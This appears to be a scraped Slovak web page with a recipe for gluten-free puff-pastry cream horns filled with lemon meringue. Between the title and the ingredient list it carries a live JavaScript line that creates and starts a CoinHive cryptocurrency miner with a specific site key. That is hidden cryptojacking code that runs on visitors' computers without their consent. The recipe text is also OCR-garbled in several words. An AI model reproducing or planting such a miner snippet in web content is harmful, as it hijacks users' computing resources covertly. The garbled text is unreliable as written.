Trubicky z listkového cesta

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU

D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 1 bezlepkové. listkové cesto (polotovar), 1 Zitok (na potretie), 2 bielka, 160 g
krystalového cukru, citrénova stava, praskovy cukor (na posypanie).

Postup: Listkové cesto rozvalkame, nakrajame na pasiky, natoCime na kovové trubicky. Dame
na plech vylozeny papierom na pedenie, potrieme Zitkom a upegieme. Vyslahame bielka,
priddme cukor a dalej Sfahame nad parou. Po zhustnuti dame pre€ z pary a pridame citrénovu
stavu. Penou naplnime trubicky a posypeme praskovym cukrom.




